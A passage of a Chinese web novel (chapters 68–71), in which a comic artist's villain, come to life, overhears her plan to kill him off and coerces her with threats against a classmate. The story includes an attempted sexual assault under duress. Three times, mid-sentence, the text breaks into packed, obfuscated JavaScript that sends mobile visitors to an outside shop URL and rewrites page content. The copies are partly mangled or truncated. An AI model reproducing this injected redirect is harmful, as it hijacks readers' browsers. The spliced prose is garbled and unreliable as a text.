汪素文思考了一下,“那……帮我再拿一个玉米串吧?” “好咧。”费洛领命离开了,背影看起来很开心,要是他有条尾巴一定已经甩起来了。 庄森芽狐疑地盯着金毛犬的背影。 这家伙怎么回事,全场谁也不问就问汪素文,有了新欢就忘了旧爱,同甘共苦的好兄弟就坐在汪素文的旁边,他却一眼不看一句不问。 这朋友白交了,庄森芽心里翻了个白眼。 烧烤吃到一半的时候,附近响起了阵阵歌声,电子音充斥着整个场地,原来是有人拿了设备和音响过来,在离烧烤摊不远的地方搭建起来了一个简易版歌唱台。 不少学生一拥而上,排着队地要唱歌;与此同时,海边也点燃了巨大的篝火,明亮的火光吸引着人们靠近,先是文艺部的人们开启了舞姿优美的奏章,而后越来越多的人加入其中,在篝火周围跳起愉悦的舞蹈。 庄森芽是吃到一半的时候被段子良拉过去的,部长的说法是:烧烤这种东西吃多了对身体不好。然而这人自己嘴唇都在泛光,不知道胃里有多少烤串的亡魂。 篝火旁,学生们围成了一圈,手拉着手,唱着有节奏的歌,围着中心的圣火,尽情舞动着自己的身体。 庄森芽也加入了其中,她看到了许多陌生的面孔,那些人是学生会其他部门的人。这次海岛旅行,他们大多时间都是和自己的部门成员一起行动,篝火晚会是难得能接触到其他部门成员的活动。 人人脸上都洋溢着热情的表情,舞姿优美的男男女女主动站出来,在包围圈的中心开始成双地舞蹈,观众们吆喝着、庆贺着,整个场地都充满了欢愉的气息。 庄森芽不记得自己牵过多少人的手,也不记得和多少人对唱对跳,这种时候认不认识已经不重要了,开心是最重要的。 而之所以能玩得这么愉快,还是因为晚会上少了几个人的身影,比如裴佑哲和石玥诗之类的。不是说她不喜欢他们,而是当这些有争议性的人物出现,她总会想到一些其他的事情,不能全心全意投身于当下的舞蹈了。 她这辈子都没有什么跳舞的经历,唯一一次正式的,还要算一个多月之前在机场附近的公园里,诺特斯带着她磕磕绊绊跳地那一只。 那支舞对她来说是煎熬,既生疏,又要想办法给对方使绊子;但现在不一样,当下她伴随着音乐,在月色的隐蔽下,只要随心扭动身体,跳成什么样都没人管没人看。 在音乐和火光的烘托下,气氛节节高涨,丝毫没有减弱的趋势,庄森芽觉得自己在这里度过了有一辈子那么长,并且还想一直继续下去。 68. 三流有三流的做法 打断这场欢庆的是一个温柔的声音,她听到有人在叫他。往外围看去,发现副部长冯月客站在一旁,像寒月下一株白桦树幼苗,他微笑着,手里拿着她的手机。 “森芽,你电话响了很久了。” 刚才因为怕发生什么意外而把手机留在了饭桌上,没想到真的有人会在这段时间联系她。 庄森芽只好从兴致高昂的舞蹈中退出,把手机接过来,谢过了副部长。对方说了句不用客气,而后就转身回到了他刚才所在的地方,替他们这些玩上头的人看守着贵重物品。 庄森芽低头,解锁手机屏幕,发现电话是自己的好朋友温枣打来的。 她捧着它,远离音响的范围,来到沙滩上更为安静的地方。 她给对方回拨了过去,等待了大约五六秒,电话被接通了。 “枣枣,有什么事找我吗?” 对面的声音听起来无比雀跃,“森芽,我联系上了一个大佬!大佬说很喜欢《灵月十四》这部漫画,打算给它造造势。我说我认识作者,于是他就拜托我找你要一份大纲!” 庄森芽听着有点懵,“什么大佬?” “是我爸爸的朋友,他具体是、呃,嗯……是做什么的我也不知道,总之应该是个很厉害的人!” 这个消息倒是让她有点受宠若惊,从来没想过自己的漫画还会被什么很厉害的人看中,“他要给漫画造势是指……?” “就是让它大火的意思!”温枣兴奋地说,“他想看看结局是怎么设计的,心里好有个底。不过森芽你不用担心,按照你原来的思路提供给我就好,这位大哥不会干涉你的创作的,不管结局怎么样他肯定都会帮你。” 听温枣的意思,这件事是来真的,庄森芽也不由得认真起来,“现在就要大纲?” “最好是现在,你能发给我吗?这样我今天晚上就可以给他发过去,听说他明天要去参加什么秘密项目,很长一段时间都联系不上。” 秘密项目……?这么厉害吗,温枣口中的这个大佬究竟是个什么人? 不过比起这个疑惑,还是大纲更让人头疼。 庄森芽只觉得十分为难,大纲什么的,向来只存在于她的脑海里,偶尔在动笔之前可能会把其中一小部分落于纸上,但突然让她把一个完整的剧情脉络拿出来,这就有点强人所难了。 “可是我没写过……要不我现在写一个,等下发给你?” 温枣转而问她:“你现在在哪呢?” “我在海岛上,学生会组织了一场期中旅行。” “哦,对,元楚跟我说过这件事,我给忘了。”听筒里传来温枣拍脑袋的声音,“那你现在身边只有一部手机对吧?” “对。” 话音落下,庄森芽就听手机对面传来一阵跑动的声响,然后是关门声、座椅转动的声音。 “我来帮你写吧!我这有电脑,你口述给我就好。” “啊,好。”庄森芽一边说着,一边感叹自己的小姐妹简直雷厉风行,太值得依靠了,“那我说慢一点哦。” “不用,你姐姐我的打字速度,不跟你开玩笑,打游戏的时候经常一骂九毫不手抖。” “你厉害。”庄森芽在对方看不见的地方伸了个大拇指。 为了不让偶然路过的同学听到,她朝离篝火晚会更远的地方走出去了一些,顺路捡了个没人要的白色塑料椅,来到一处无人的海岸,面朝大海坐下来,盯着夜色下黑黢黢的海平面,在自己的大脑里翻箱倒柜,按照时间顺序把大纲捋清楚,再把它转述给温枣。 听筒里时不时传来键盘噼里啪啦的响声,温枣一直很安静,也一直没有叫停,不管庄森芽说得是快是慢,她都尽职尽责地当一个人形的打字机,把她那些声音捕获下来,变成一行又一行的文字。 “……然后,主人公尤梭带领众人展开了最后一次进攻,目的是把最大的候鸟山核心工厂攻下,一旦攻下它,反派的势力就将分崩离析……” 说到这里的时候,温枣第一次发出声音打断了她。 “森芽,我有一个问题想问你。” “什么?” “反派是叫诺特斯是吧?” 听她这么问,庄森芽有点紧张。其实她不是第一次思考过这个问题,诺特斯在来到这个世界之后并没有改名,或许是觉得没有这个必要,或许是觉得麻烦不会找到他的头上,他居然就这么一直顶着漫画里的名字大摇大摆。 《灵月十四》如果不火,一直糊糊的话,那倒还好说;要是它火起来,加之诺特斯的音乐事业万一做大了,那这个名字就真的成了一个巨大的隐患。 “……是啊,是诺特斯。”庄森芽心有顾虑地回答对方。 “唔……”温枣发出思考的沉吟,“所以这个漫画人物,是你按照前一阵来我们学校演出的乐队主唱设计的吗?名字一样,形象也几乎完全一致……” 不被温枣注意到是不可能的,这个女孩早就知道她是《灵月十四》的画师,把‘诺特斯’和‘诺特斯’联系在一起简直不要太正常,这是早晚有一天会发生的事。 现在,不光是裴佑哲认为她是因为认识那个希腊乐队的主唱,所以才在漫画里创造了一个和他相差无几的形象,就连温枣也开始这么认为了。 但这说不上是一件坏事,让他们这么认为,总比被猜出真相要好。 虽然她觉得真相挺离谱的,应该没有多少人能猜得到。 “是,确实参考了那个主唱。” “你是他的粉丝吗?” “我,粉丝,他?”庄森芽听到这句话只想笑,“怎么可能。” “难道你是他的黑粉?” “……呃,也不算?” 她对诺特斯的歌唱事业没什么看法,只是单纯地、纯粹地有点忌惮他这个人罢了。 “那你既不喜欢他,也不讨厌他,干嘛要把他画到漫画里来呢。” 庄森芽欲哭无泪。不是她想对着真人照猫画虎,而是这个家伙擅自从漫画里跑出来,这才是真实的顺序。 “嗯……就是,当时给反派立人设的时候刚好搜到了他的官图,感觉这人正好长着一张反派脸,所以就拿来借用了?” 温枣在电话对面乐呵呵地笑起来,“那干嘛还用人家的名字啊,你把人家画成反派,要是被粉丝看到了,说不定会对你的漫画群起而攻之呢。” “哈哈,当时也没想那么多嘛……” 这件事总算是这么糊弄了过去,温枣没揪着这点不放,她们继续开始合作谱写大纲。 “……最后一次进攻中,尤梭也会和反派决一死战,将莱王星上的人们彻底从垄断造成的物资短缺的困境之中解脱出来。 “诺特斯很强,想要杀死他只有一个方法,那就是在他实体化的情况下摧毁他的意识,让他没有办法进行隐身修复……” 说到这里,温枣打断了她,“隐身修复是什么?诺特斯有这种能力?” 经她提醒,庄森芽这才想起来,这原本不是她笔下的设定,漫画里也从未提到过,而是诺特斯自己告诉她的能力拓展应用。 他在她看不到的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223872|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变化着,拥有了一些连作者本人都不知道的特质。 “的确有,只是一直没画出来。”庄森芽找了个借口圆上,“不过就算不考虑他这种能力,他也能随时隐身跑路,只要他避战,主角无论通过什么方式都抓不住他。所以,为了彻彻底底解决掉这个祸患,必须在他认为一切都在掌控之中、状况不足以发动能力的时候,就摧毁他的大脑,剥夺整个身体的行动能力。” 她说得有点无情,声音听起来也是冷冰冰的。 “结局没有反转?来个‘主角以为反派已经死了所以放松警惕结果被倒打一耙’的环节?”温枣问她。 “没有。”庄森芽十分笃定地说。成败皆看此一举,她可不敢像温枣说的那么玩,一旦被诺特斯觉察到身为作者的她想要把他置于死地的真实意图,一切就完蛋了。她只想快刀斩乱麻,在最后一话到来之前,哄骗对方,让他以为自己能全身而退,实际当真正落笔画结局的时候,趁诺特斯什么也来不及反应就把他解决掉,绝不可能再来一个什么‘复活章’,给他任何反扑的机会。 “好吧,没有反转也行,你怎么画我都爱看。”温枣像个天使一样说,“那你打算怎么让尤梭摧毁诺特斯的意识?主人公只是个揭竿而起的普通人,没有反派那么强大的实力……” “尤梭虽然没有什么特异能力,但他是个聪明的土地经济人。从最开始,他就在为了最终决战而着手准备,武器库已经预备完全,供应链也铺设好了。热兵器方面,主人公一方是不落下风的,把候鸟山工厂炸掉应该不成问题。”庄森芽望着黑色的远海,摩挲着自己的下巴,神情专注,从记忆深处翻找着埋藏的剧情脉络,“至于盘踞在其中的诺特斯……就用魔法打败魔法吧,我打算空降一个正义使者到主人公的身边,这个人叫哈兰,他最初伪装成一个不起眼的小兵跟在尤梭身边,但真实身份其实是诺特斯过去的友人,因为反对他垄断石剑醇这种重要资源的做法,所以加入了主人公的一方。哈兰掌握精神控制术,是诺特斯的克星,最终决战上就让这两人同归于尽。” “啊,反派最终不是由主人公解决的?读者可能会有意见……”温枣说着,紧接着反应过来什么,连忙补充,“不是,森芽,我没有想要干涉你的想法的意思……” 庄森芽理解对方,语气颇为自嘲地说:“没关系,枣枣,我只是个三流的漫画师,画崩个剧情什么的再正常不过了。” “你才不三流。”温枣反驳,“很多大神漫画家也经常烂尾的!” 听着虽然是个像模像样的安慰,但总觉得哪里有点不对劲,庄森芽只当对方是好意,“哈哈,谢谢你,这碗鸡汤我先干为敬……” 温枣也笑起来,咯咯的笑声沿着听筒传了过来,“然后呢,诺特斯和哈兰同归于尽,你要再画一个‘重建篇’之类的番外,把那之后人们恢复正常生活的故事再讲一讲吗?” “这个我还没想好。”庄森芽眺望着大海,话题聊到漫画的结尾,她总有种已经摆脱了诺特斯的错觉,这令人感到平静又怅然,“《灵月十四》我也有点画累了,不确定到时候还有没有精力再去补番外。当然,要是漫画火了能赚钱,我不吃不喝不睡也要憋个番外篇出来……” 她说这番话的时候,目光就落在平稳的海平面上。 这个海岛之所以能成为一个火热的旅游景点,就是因为这里的大海十分静谧,不会掀起惊人的海浪,沉静得犹如湖泊一样。 一轮明亮的上弦月挂在天幕之上,下方是漆暗的海水。 而在那海水之上,她看到了一个影子。 69. 大招未半而中道崩殂 最初以为是海平面上漂泊的扁舟,但那扁舟离海岸越来越近,影子也愈发清晰,她也渐渐看清了它的真容。 那不是什么扁舟,而是一个浮在海平面上的人影。 庄森芽揉了揉自己的眼睛,再看过去,她没有看错,那就是一个站立在海上的人影,而且离海岸线越来越近了。 会出现这么有违常识的现象,庄森芽只能想出是那个人搞的鬼。 “枣枣,我还有点事,先挂了。” “好的,你去忙吧,我把大纲整理一下发给那个大佬。” “嗯,辛苦你了。” “拜拜喽。” 挂下电话,将手机揣回口袋里,庄森芽从弃置的塑料椅上站起来,谨慎地盯着那个黑影。对方已经来到了离海岸线非常近的位置,如履平地一般,在水面上掠过。 接近的过程中,对方举起了一只手,食指与中指交叠在一起,那是一个不怎么常见的手势。 但对于庄森芽来说,它并不陌生。 这要追溯到一个多月前,有一次在学校餐厅,诺特斯突然现身,庄森芽以为他是个实心的,想也没想就开口朝他说了一堆,结果那家伙是隐身状态,周围人其实都看不见他,她因此闹了不少笑话。 当时他们就约定,诺特斯如果再以隐身状态出现在她周围的话,就要用一个特定的手势提前告知。 而对方现在比划出来的,就是当时约定的那个手势。 但这就很没必要,他都悬浮在水面上了,一看就不是什么正常的状态,还需要他来做手势通知吗?她又不是没长眼的傻子。 男人离开了海平面,走到了沙滩上,在细沙上留下了一串脚印,显而易见,现在他是‘实心’的了。 庄森芽不知道他为什么会在海平面上出现,不懂对方的脑回路也不屑于去理解,干巴巴朝他问道:“找我有事?” 诺特斯双手插兜,上身是他常穿的白衬衫款式,纽扣只浪荡地系了三个,将半个胸膛都露了出来,看起来很随性,“刚吃完饭,随意地走了走,就走到这里来了,刚巧听到海岸边有熟悉的声音,就想过来看看是不是我想的那个人。” “没什么事我先走了。”庄森芽拔腿就要走,她可不想在这漆黑的海岸上和这个男人产生什么交集,尤其是这周围都没有什么人,连呼救都只有螃蟹能听见,螃蟹又不可能挥舞着钳子来救她。 然而诺特斯上前两步,拦住了她的去路。他只是站在那里,插兜的姿势一动未动,庄森芽就知道自己过不去了。只要他想,就有一万种办法不让她通过。 “我说,我听到了你的声音。”诺特斯笑着,可眼睛里没有光,一丝明月的亮色都照不进去,“那句话的意思是,你说了什么我也听得一清二楚。” 盯着不远处的男人,庄森芽紧张地绷紧了嘴唇,脸色有点发白。 什么意思,难道她刚才和温枣的那通电话被这个男人听见了? 他从哪里开始听的,听到了多少? 根本不需要回想自己具体说了什么,只需要看对方的脸色,就知道那绝对不是什么会让他高兴的内容。 “让哈兰来杀我,好想法。”他说,“可惜哈兰早就死了。” 庄森芽往后退了半步,巨大的威慑力让神经紧绷,她不知道听到了那些的诺特斯下一步会做什么。 “我是真的以为我们能融洽合作。”他的气压很低,又恢复了庄森芽初识他时,他经常散发出的那种骇人的气场,眉眼下压,给人的感觉是漆黑且锐利的,“看来我一直没猜透你在想什么。” 她吞咽了一口口水。对方给她的感觉很不好,仿佛下一秒就会突刺上前,在她的胸口开一个洞,把心脏挖出来,看一看里面装的究竟是什么,还有没有什么其他的鬼心思。 “刚才你听错了……”她有些无力地辩解,“那个只是,我提供给编辑的初版大纲,不是最终版本……” 诺特斯开始接近她,庄森芽倒吸了一口冷气,立在原地不敢动。 男人将手从口袋里抽出,捏住她的下巴,抬高她的脸。距离之近,让她一下子回想起很多不好的回忆,那让她的身体僵硬,思绪也阻塞。 “需要我再一次封上你谎话连篇的嘴吗?” 威胁的话语传进耳中,仿佛有冰冷的金属在耳畔摩擦,她顿时汗毛倒立。 忍不住挣脱开来,往后退了两步,提防地盯着对方。 “原本来旅游,我心情还挺好的,现在已经一点也好不起来了。”诺特斯说,假笑挂在他的脸上,“你说我该用什么方式纾解这种不快?” 不安在心底窜动,她感受到来自对方无形的巨大压力。庄森芽裹紧了自己防风的外套,求助似的瞥向远处的篝火,她的同学和伙伴们都在那边,只要能跑过去,她就安全了。 就在这个时候,她听到诺特斯嗤笑了一声。 “这种反应……是觉得我会对你做什么?” 庄森芽无言地盯着他,嘴唇紧抿。 她的确就是这么想的。 “这你倒是可以放心,我现在对你没兴趣。”诺特斯又将双手插回口袋里,就仿佛在表示自己不会出手,“不过,除了你以外的人可就没这么幸运了。” 听到他这句话,庄森芽只觉得心中的不安更加骚动,“……你要做什么?” “你好像不失去点什么就不会痛一样,”他笑眯眯的,但那笑容在另一个人看来是十足可怖的,“一直在挑战我的底线。” “……” 诺特斯抬高一条手臂,指着篝火晚会的方向,“那边,有很多你的同伴吧?” 她只觉得心里咯噔一声,脸色有点惨白。 “我猜里面应该有对你很重要的人。” 仿佛血液在急速地流失,她感觉到异常寒冷,“别……你有什么事冲着我来!” “一群没什么常识的学生在外面玩上头了,出点什么意外,再正常不过。”他就像在聊天气一样,用平静的口吻说着骇人听闻的话,“打架斗殴,失足落水,食物中毒……意外发生的方式可太多了。” 听他说这些,庄森芽只觉得浑身的血液都变得冰凉,她毫不怀疑,如果不制止的话,诺特斯真的会把他所说的变成现实。毕竟那对他而言是家常便饭,动动手指就能夺走一条性命,做些文章就可以不留下任何作案痕迹,他在杀人这方面是专业的,身为作者的她比谁都了解这一点。 “选谁呢?” 她冷不丁激灵了一下。 诺特斯摩挲着自己的下巴,看起来在很认真地思考。 他是来真的,庄森芽能感受得出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234041|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 因为男人的气压比以往任何一个时刻都要低沉,皮囊是笑着的,但那笑容却是残忍,话语和那皮下的残忍如出一辙。他漫不经心、胜券在握地谋划着对手死状的模样,她在笔下亲手描绘过很多次了,在屏幕上的时候只觉得有点瘆人,可当这个人以这幅样子真实地出现在自己的面前,她才知道他的对手一直以来感受到的是怎样的压迫和绝望。 “这个人还真不好选,如果对你不是特别重要,你也不会在乎。”诺特斯以松弛的语调说着在旁者听来十分残酷的话,“太重要也不行,我怕你承受不住,大受打击,萎靡到连笔都提不动了,那就有点太过了,我还指望你吸取教训之后能乖乖替我把结局画完呢。” “……我知道了,我现在就改大纲。”庄森芽掏出自己的手机,在上面找到温枣的联系方式,她花了比平时更长的时间,只因指尖有些颤抖,总是控制不住地误触,“你要什么结局我就给你什么结局,这次我肯定说到做到,诺特斯,你告诉我你想要怎么样!” “不如就这个人吧。”诺特斯沉思了片刻后说,仿佛完全没有在听庄森芽在说什么,“裴佑哲,怎么样?” 听到这个名字,她愣住了。 “我觉得这个人选简直完美。”诺特斯露出一个满意的表情,他残忍地笑着,“你喜欢他,对吧?但他对你来说又没有家人那么密不可分,死掉了可能会让你痛苦一小阵,但——” “我不喜欢他,你不许对他做什么!”庄森芽打断了对方。 这是句实话,但更多是为了撇清自己和裴佑哲的关系,打消诺特斯想要对他动手的念头。 可是她的辩驳没有起到什么作用。 “哟,这么激动,果然很在意啊,看来我选对了。”诺特斯了然似的说着,看起来并不相信她说的话,“他应该也来海岛了吧?我去会会他。我记得这个小哥人长得挺好看,死掉有点可惜了。” 虽然嘴上这么说,可他还是毫不犹豫地转身就走,目标看起来是热闹的篝火晚会。 庄森芽顿时感觉恐惧攀上了全身,整个人如坠冰窟,她脑海空白,反应过来已经追上了男人的背影,一下子抓住他的手臂,“不行!” 诺特斯的脚步顿了一下,头转过来,盯着用双手牢牢拽着自己的人,模样有点意外,“就这么在乎他……?你其实一直都很怕我,都不怎么敢接近我吧?但是为了喜欢的人却能做到这个地步。” “我说了我不喜欢他!”庄森芽大声喊着,尽量露出最为坦诚的目光,寄希望于男人相信她的话。 “这怎么听都是包庇。” “我没有,他对我来说就是普通的同学!” “你的意思是我应该换个目标?” “……”庄森芽抿了抿嘴,感觉到前所未有的无助。在这个谎言被揭穿的当下,她已经失去了和对方交涉的资本,那就是诚信,现在再按以前的套路和对方承诺什么,诺特斯恐怕已经不会相信了。当下她只好放低姿态,以求这样能够消解对方的愠怒,“我骗了你,对不起,求你不要伤害我身边的人,你要什么我都答应你……” “什么都答应?”诺特斯反问她,垂下的目光是冰冷的。 庄森芽只觉得开口回答十分艰难,嗓子像吞了沙一样干涩,“……什么都答应。” 70. ‘据理力争\’ 诺特斯一时没有说话,转过身来,注视她片刻。 而后,他一只手抬起,终点落在她的肩上。 她轻颤了一下,头垂下去。 不能反抗,不能动,这个时候要顺着对方来,不管发生什么都…… 她感觉到那只手蹭过脖颈,剥开了她的外套。 带着些凉意的海风灌进来,身体仿佛知道将要发生什么一样,开始控制不住地颤抖起来。 外套松松垮垮地垂在手臂上,里面穿的是一件白色贴身的吊带,男人将吊带和内衣的肩带一并勾在指尖,两边同时用力,往下一拉,大片的肌肤就这么暴露了出来。 庄森芽霎时闭上了眼睛,忍不住发出小声的惊喘,下意识伸出双臂抱住自己,感觉身体颤抖的更加剧烈了。 害怕的事情终于还是要发生了,可是除了接受以外,现在的她似乎没有其他选择。 如果可以的话,她真的想回到二十分钟之前,在温枣打来那通电话的时候,更谨慎一些,而不是不知防备地把大纲口述给她。 她明知道诺特斯也来海岛了,然而却还是那么不小心,导致事情最终发展成了这样,说到底这都是因为她自己放松了警惕…… 没有功夫后悔太久,一只无法忽视的手夺走了她所有的注意力。 那只手扶住她的脸颊,抬高,指尖碾过微张的两片唇瓣。与此同时,另一只手掀起了衣摆,从下方探进来,沿着腰身向上抚摸,堪堪卡在最柔软部位的下方。 海风已经贯穿了上身,只剩堆积在一起的衣物还能提供一丝体面。 她有点绝望,除了站立以外,别的什么也不知道做,像个不会动的人偶一样立在海滩上。 已经准备好接受接下来要发生的一切,然而很长一段时间,男人都不再继续动作。 这片空寂过后,她听到一声似有似无的叹息,那双在她身上作乱的手突然离开了,掀起的衣摆又被放了下去,垂在手肘上的外套也被一下子提起来,重新罩回身上。 庄森芽有些困惑地睁开眼睛,就见诺特斯已经从她眼前离开。他来到海岸边,把她刚才坐过的那个白色塑料椅转了个方向,侧对着海水坐下来,翘起一只二郎腿,神情有些倦怠,仿佛如果一旁有烟的话,他早就点上一支抽起来了。 她愣在原地,盯着男人的侧影,一时间不知道是怎么回事。 “你还真是喜欢这个裴佑哲啊,为了他都能做到这个份上。” 木讷的脑袋反应了一阵,才明白过来对方是什么意思。 不知道为什么诺特斯突然收手,男人行事总是捉摸不定。 庄森芽觉得自己有点狼狈,把肩带重新提起来,裹紧了外套,“我说了,我不喜欢他。” “不用反驳,你做的一切我都看在眼里。” 诺特斯似乎比刚才平静了一些,虽然刚刚他表面上看起来是镇定的,但纠缠在他周围的气息可不这么说。 现在,那些混乱黑暗的气息似乎也已经稳定下来,变成了一汪不动的死水。 “我每次看到那个小哥的脸的时候都会应激,你不知道尤梭有多难缠。”诺特斯说着,不由啧啧嘴,“这部漫画就是你为了那个裴佑哲画的,不是吗,因为喜欢他,你才这么做。” “不是。”庄森芽再一次反驳,“《灵月十四》和他没有关系,尤梭可能确实有点像他但……总之不是你认为的那样。” 诺特斯抬起一只手,阐述下个例证,“那这件事你要怎么解释?电脑被我偷了那一回,你不来找我,偏偏去求助他,什么心思不用我说。” 那似乎已经是很久之前的事了,为难他居然还记得自己的恶行。 “……我总不能真的找你吧,不说你就是犯案者,我还没有你的联系方式,而且你……” 那么可怕。到现在为止一直都很可怕。 就在刚才还在威胁她,没有商量的余地,拨开衣物的力道不容抗拒。这样一个人她要怎么向他发起求助?这怎么看都不是一个正常人会做出的明智选择。 “驻马山那次又怎么说?”诺特斯细数着过往,模样看起来不太开心,“明明是我把你和你的小伙伴们引出了深山,可是逃出去之后,转眼你却和他抱在了一起。” 庄森芽回想起很久以前劫后余生的那一幕,当时被迷宫一般的树林困住了很长的时间,天色渐暗,她是真的以为逃不出去了,所以最终获救的时候表现得十分激动。 回想起来,那次的确是诺特斯把他们引出了山林,只不过采用的方式实在令人匪夷所思——通过劫持她的方式让其他几个雏鸟周的成员警觉,紧紧追在他的屁股后面,最终以此把他们引出深山,简直不是正常人会有的脑回路。 就算他是好心的,经过一番折腾,谁都不这么觉得了。 直到现如今,细细回想起来,庄森芽才隐约觉得对方那时的举动可能没有恶意。 可是残忍的暴君偶然露出的善意又算什么呢?那一定是绝不可相信的谎言。 “他对我来说是很亲近的人,就像是我的哥哥一样……我只能这么告诉你。”庄森芽说。 诺特斯没有放弃,似乎非要从过往的蛛丝马迹中找到一丝她喜欢那个学生会主席的证据,“像你哥哥?那驻马山事件结束后的当晚,在酒吧里的时候又算什么?你和他坐得那么近,近到都钻进人家怀里去了,目光黏着不已,感觉下一秒就要亲上。” 听着对方的语气,庄森芽总觉得哪里不太对劲。 从刚才开始就感受到了,这种情绪让她有点陌生,甚至不敢肯定。 诺特斯……为什么感觉好像是在吃醋? 不,不对,大概率是她感觉错了。 她不觉得对方会有这样的情绪,只能当这个男人是在乎着别的一些什么,他的想法向来是难以捉摸的。 话说回来,酒吧那天的事情他居然也知道。 庄森芽当时并没有在店里发现诺特斯的身影,看来他那时是潜伏在了其中。 想到这里,她说:“那你也应该知道,后面他玩游戏输了,必须现场亲一个女生,如果我们真像你说的那么……亲昵,早应该在那个时候就亲在一起了。” 诺特斯耸耸肩,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庄森芽不知道自己这是第几次否定了,“我不喜欢。” 诺特斯紧盯着她,像是想要透过皮囊看到那下面的心灵,以来辨析她有没有说谎。 就在这个时候,在距离他们所在的沙滩不远处的人工石路上,传来了两个男生交谈的声音。 “我搬不动了,佑哲……” “拎着,我手上也满了,不可能帮你。” “能不能歇一会?” “大家还在等着我们手里的音箱。” “就一小会……” 两个身影从树丛后方现身,其中之一是裴佑哲,他轻叹了一口气,对另一个人说:“平时多练练吧,费洛,你的胳膊都快比素文的小腿还要细了。” “!”费洛一下子站直了,快步跟上对方的身影,“怎么可能,你再仔细看看,我还很有劲呢。” 两人路过庄森芽所在的海滩,不经意地侧目,几人正好对上了视线。 “咦,森芽?”费洛发出疑惑的声音,盯着站在漆黑岸边的人,“你在这干什么呢?” 裴佑哲停顿下来,把手里的音箱放在地上,朝海滩的方向走,“这里太暗,不安全,和我们一起回去吧。” “别……别过来。”庄森芽有点惊恐地说。 声音太小,裴佑哲似乎没听见,还在靠近她。 庄森芽只觉得自己的心都提到了嗓子眼。 因为,只有她知道现在在发生什么,只有她看到了。 71. 风雨将起 刚才,在裴佑哲的声音响起的时候,海滩上的两个人都被吸引了注意力,而那坐在白色扶椅上的男人起了身,脸上露出一副猎食者的表情,笑容残忍。 他身影擦过庄森芽的身侧,往石路的方向而去,并给她做出一个食指与中指交叠的手势,那意思是他正处于隐身状态。 “自己送上门了啊。” 庄森芽紧张地问:“你想干什么?” 诺特斯背对着她说:“你不是说不喜欢裴佑哲吗,我帮你把这句话带给当事人。” 那之后,就是现在了。 裴佑哲来到了沙滩上,而那个他看不见的男人就距离他咫尺之遥。 “停下!”庄森芽大喊。 这句话是说给诺特斯听的,但却是让不明所以的裴佑哲停下了脚步。 “森芽?”裴佑哲费解地呼唤她。 诺特斯已经来到了裴佑哲的身侧,他从背后围着他转了半圈,而后,一只手臂突然穿过了他的脖颈。 庄森芽倒吸了一口冷气,在她的视角,她看到诺特斯的手刀径直从裴佑哲的颈侧刺入,将他头颅和身体一分为二。 当然,裴佑哲暂时没什么事,只是这个画面看起来过于骇人。 “现在实体化的话,这个小哥一瞬间就会断气。”诺特斯眯起眼睛,笑起来,看上去心情不错,如果忽视他手上的动作,那笑容竟能给人一种人畜无害的感觉,“不想他出事的话,我说什么你就做什么。” 呼吸仿佛都停止了,庄森芽脸色惨白,她摇摇头,那是‘不要伤害他’的意思,又混乱地点点头,那是‘我什么都做’的意思。 “怎么了,森芽?”丝毫不知道自己现在处于如何的危机之中的裴佑哲说着,眼神里露出担心的神色,“你为什么看起来这么惊慌?” 诺特斯开口,“和他说,‘这和你没关系’。” 危及性命的胁迫让她没有选择,稍有不慎诺特斯就会动手,发动他所谓的‘侵占’的能力,将裴佑哲…… 不行,这绝对不能发生。 裴佑哲是无辜的,他只是认识她,偶然经过这里,怎么可以因此就丢掉性命。 她绝对不会让他出什么事。 别无选择,庄森芽只能顺应诺特斯的要求,艰难地张口,“……和你没有关系。” 裴佑哲脸色微动,闪过一丝异样的神色,但那很快,几乎捕捉不到,一瞬间他就调整好了自己的情绪,问她道:“是和同学发生什么冲突了吗?没事的,你可以和我说,我会想办法替你解决。” 恐怕是看她一个人待在这里,以为她和什么人发生了争执、独自跑来散心。 裴佑哲的体谅却让她更加揪心了,因为她直觉诺特斯还会让她说出更过分的话。 而她的预感一点也没错。 魔鬼一般的低语再次响起,诺特斯将声音拉得又缓又长,仿佛在享受着某种折磨人的愉悦,“‘不,我只是因为看到你在这里,所以觉得有点反胃。’” 庄森芽几乎咬碎了自己的牙,神情都有些恍惚,可是必须重复那人的话,“……不,我只是……只是因为看到你在这里,所以有点反胃。” 对面,学生会主席微微蹙起了眉,嘴唇微张,一副不能理解的模样,似乎有点受伤。 这时候费洛也放下音响赶了过来,他刚巧听到了庄森芽的话,咋咋呼呼说道:“啊!森芽,你这么和佑哲说话他会伤心的。” 裴佑哲伸手按住了一旁的费洛,抓着他的脸把人推去一旁,那样子仿佛在制止他,叫他不要乱说话。 学生会主席拿出了十足的耐心,即便两次碰壁,他依然坚持,黑亮的眸子在暗夜中发散着温蔼的光,“你不想看到我,我可以走,但答应我不要一个人在这么危险的地方待着。岛上还有其他旅客,不能保证其中没有心怀恶意的人。” 庄森芽盯着那个只有她能看见的男人,有点绝望地想着:的确有坏人,而且好巧不巧被她碰上了,当下也正在遭受他的胁迫。 诺特斯发出低低的笑声,紧接着是下一个指令,“对他说:‘收起你伪善的模样吧,你这样让我觉得很恶心。’” 